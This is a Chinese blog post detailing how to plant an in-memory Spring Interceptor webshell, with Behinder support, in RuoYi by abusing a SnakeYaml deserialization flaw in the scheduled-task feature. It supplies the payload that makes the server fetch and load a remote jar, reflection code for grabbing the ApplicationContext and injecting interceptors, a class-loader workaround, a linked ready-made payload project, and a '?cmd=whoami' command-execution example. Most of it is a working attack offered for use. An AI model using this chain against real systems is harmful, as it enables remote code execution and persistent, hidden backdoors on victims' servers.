RuoYi 可用内存马
前言 前段时间有师傅在群里问“若依怎么利用 SnakeYaml 反序列化漏洞注入内存马”,当时觉得直接注入SpringBoot的Interceptor类内存马即可。 但是后来发现事情没有那么简单,本篇博客用于记录自己踩的坑。 如果不想看分析可拉到最后,已给出可用 jar 包及构造使用的项目。 漏洞分析 这里简单看一下 RuoYi 触发 SnakeYaml 反序列化漏洞的漏洞点。 漏洞点在后台 系统
前言
前段时间有师傅在群里问“若依怎么利用 SnakeYaml 反序列化漏洞注入内存马”,当时觉得直接注入SpringBoot的Interceptor类内存马即可。 但是后来发现事情没有那么简单,本篇博客用于记录自己踩的坑。
如果不想看分析可拉到最后,已给出可用 jar 包及构造使用的项目。
漏洞分析
这里简单看一下 RuoYi 触发 SnakeYaml 反序列化漏洞的漏洞点。
漏洞点在后台 系统监控 > 定时任务 处,可以调用类的方法

系统会调用 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 方法来处理系统任务
首先会获取需要执行的目标,即我们的 payload,再获取实例名和方法名以及方法参数
然后判断实例名是否是 带完全包名称的类名,如果不是的话,则调用 SpringUtils.getBean(beanName) 获得实例;如果是的话,则使用 Class.forName(beanName).newInstance() 获得实例
最后调用 invokeMethod(SysJob sysJob) 方法实现方法的调用
public static void invokeMethod(SysJob sysJob) throws Exception
{
String invokeTarget = sysJob.getInvokeTarget();
String beanName = getBeanName(invokeTarget);
String methodName = getMethodName(invokeTarget);
List<Object[]> methodParams = getMethodParams(invokeTarget);
if (!isValidClassName(beanName))
{
Object bean = SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
}
else
{
Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
}
}
跟进 com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod 可以看到这里通过 getDeclaredMethod 获得了类的方法,然后通过反射执行方法。

当我们传入的类名为完全包名称,需要满足三个条件才能正常使用
- 具有无参构造方法
- 调用的方法需要是类自身声明的方法,不能是他的父类方法
- 构造方法和调用的方法均为 public
而 org.yaml.snakeyaml.Yaml 是符合这些条件的,我们可以利用这个点去触发 SnakeYaml 反序列化漏洞,而 SnakeYaml 反序列化漏洞具体分析和利用方法,可以参考 Mi1k7ea 师傅的文章,这里就不多赘述。
以下测试我都使用一下payload,其他利用方法改改即可
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["you_url_of_jar"]]]]')
第一代马儿
首先我使用把 bitterzzZZ师傅写的马儿 的逻辑放到恶意类中,在获取上下文环境时就报错了,主要是因为这里的触发点为定时任务,触发点和Web服务不在同一个线程(大概是这个意思)

知道了原因就是解决问题了,主要思路是利用别的方法获得上下文环境,第一时间想到的是LandGrey师傅 利用 intercetor 注入 spring 内存 webshell 给出的另一种获得 ApplicationContext 的方法,通过反射获得 LiveBeansView 类的属性,通过这个属性值来获取 ApplicationContext 总可以了吧(而且版本也是符合的)
// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰,所以 setAccessible true
filed.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
// 4. 获得 adaptedInterceptors 属性值
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
更换代码后没啥问题,能够正常注入内存马,在此基础上加上了删除马儿和冰蝎逻辑后就上传到 GitHub,以为此事就此结束
第二代马儿
过了十来天,有师傅说我的马儿在 linux 系统下运行的 RuoYi 注入不进去,具体情况如下:
- 测试版本为 RUOYI-VUE 3.6
- 在 Windows 可注入内存马,但是自己打包的 jar 包不行
- 在 Linux 中无法注入内存马
看了一下RuoYi-VUE 3.6 和我测试版本 RuoYi 4.6 的 Spring Boot 和 Srping都是相同的,按理来说都一样才对
打包问题
首先要了一份他打包的 jar 包,发现 jar 包结构有点问题。前面那个是我使用 maven 打包,能够正常使用的 jar 包,是符合 SPI 机制的。而后面那个则是通过 Project Structure > Project Settsings > Aritifacts 打包的,把依赖也打包进来了,而关键的文件则没有在正确的位置。使用 maven 打包项目即可解决该问题

新的获得 ApplicationContext 方法
然后是在 linux 中无法使用的问题,通过查看报错信息可以了解到是在获得上下文环境时出现了问题

通过对比可以发现(左 linux 右 windows),在 linux 环境下 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性中确实没有我们想要的值

找一下注册逻辑(左 linux 右 windows)发现在 linux 环境下 mbeanDomain 为 null,导致他不会把我们的 ApplicationContext 放入 applicationContexts 属性中

虽然不知道啥原因导致 mbeanDomain 不同,但是估计得找一个新的方法获得 ApplicationContext
我把这个问题丢给 r2师傅 后,他找了一会后给了我个在若依能够使用的方法
Field f = Thread.currentThread().getContextClassLoader().loadClass("com.ruoyi.common.utils.spring.SpringUtils").getDeclaredField("applicationContext");
f.setAccessible(true);
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext)f.get(null);
他主要是通过 dump 内存后发现有个成色不错的类,正好符合我们的需求

在启动阶段会把 applicationContext 赋值到他的 applicationContext 属性中,且该属性被 static 修饰

后面使用 java-object-searcher,也找到了合适的获得 ApplicationContext 方法


Field field = Thread.currentThread().getClass().getDeclaredField("runnable");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
field = obj.getClass().getDeclaredField("qs");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
obj = field.get(obj);
Map m = (Map) obj;
org.springframework.web.context.WebApplicationContext context = (org.springframework.web.context.WebApplicationContext)m.get("applicationContextKey");
修改之后就能用了
加载器问题
但是在此过程中,又有一个问题:
当时我在测试 linux 环境下时使用的是在 linux 下跑运行 ruoyi-admin.jar(官方给的运行方法也是运行 jar 包),发现在 payload 运行到获取上下文前就抛出异常了,查了一遍发现是在继承 HandlerInterceptorAdapter 时无法找到 HandlerInterceptorAdapter 这个类,这就有点奇怪了,在加载过程中是正常的,在继承的时候就找不到了。

后来发现是加载器问题,可参考 深入Spring Boot:ClassLoader的继承关系和影响
在IDE里,直接run main函数
则Spring的ClassLoader直接是SystemClassLoader。ClassLoader的urls包含全部的jar和自己的target/classes以fat jar运行
执行应用的main函数的ClassLoader是
LaunchedURLClassLoader,它的parent是SystemClassLoader。并且
LaunchedURLClassLoader的urls是 fat jar里的BOOT-INF/classes!/目录和BOOT-INF/lib里的所有jar。
看一下 HandlerInterceptor 和 HandlerInterceptorAdapter 存在于 spring-webmvc-5.2.12.RELEASE.jar ,存放于 BOOT-INF/lib 下。
当我们以fat jar运行时,使用的是 LaunchedURLClassLoader ,所以在程序运行过程中是能够找到该类的


那为什么我们的恶意类去继承 HandlerInterceptorAdapter 时找不到该类呢
这里大概看一下寻找 HandlerInterceptorAdapter 的过程
可以看到,这里使用的是 URLClassLoader 作为类加载器

根据双亲委派模型会去引导类加载器和扩展类加载器找该类,这肯定是找不到的,然后回到 AppClassLoader 来加载类,这里只有一个 ruoyi-admin.jar 包,找不到 HandlerInterceptorAdapter

最后回到 URLClassLoader,他会去我们我们的恶意 jar 包找,这也是找不到的,最后只能抛出 NoClassDefFoundError

而 LaunchedURLClassLoader 中则会去 spring-webmvc.jar 中找到我们需要的类


我们使用 LaunchedURLClassLoader 来加载这个类即可,详见 Github
ClassLoader classLoader = (ClassLoader) Thread.currentThread().getContextClassLoader();
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",new Class[] {byte[].class, int.class, int.class});
defineClass.setAccessible(true);
// 获得恶意类字节码
byte[] bytes = XXXXXX;
return (Class<HttpServlet>) defineClass.invoke(classLoader, new Object[] {bytes, 0, bytes.length});
以上加载器继承关系如下

总结
至此所有发现的问题已解决,这里总结一下以上比较坑的点:
- 反序列化点在定时任务,和以往的在 Web 服务中不同
- windows 和 linux 使用 idea 启动项目时有一些参数值是不一样的,在 windows 中会把 applicationContext 注册到
org.springframework.context.support.LiveBeansView的applicationContexts中,而 linux 环境下则不会 - 以 fat jar 运行时使用的是
LaunchedURLClassLoader,而在 Yaml 中使用URLClassloader来加载类,导致 Yaml 加载类过程中找不到 spring 包里的类。
项目地址:https://github.com/lz2y/yaml-payload-for-ruoyi
此外,这里也记录一下其他比较坑的点
在实现冰蝎逻辑后,在测试的时候发现没法触发,后来发现是因为我主页测试的,如果在未登录情况下会跳转到 登陆界面,解决方法是带上cookie使用冰蝎或者直接在登陆界面触发:
/login?cmd=1(添加一个 cmd != null 是防止影响其他业务,也可自行修改)else if (cmd != null && request.getMethod().equals("POST")){ // for rebeyond // 冰蝎的逻辑 }
在 ruoyi-vue 前后端分离版本中,在前端传参后台可能接收不到参数值,比较好的方法就是直接在后端传值

或者从前端使用api
http://localhost/dev-api/?cmd=whoami
在 ruoyi-vue 前后端分离版本中,在使用冰蝎的时候会有点问题,报错如下图。具体原因和解决方案还未清楚,知道的大佬也请指教

师傅,能不发一个打包好的版本,谢谢了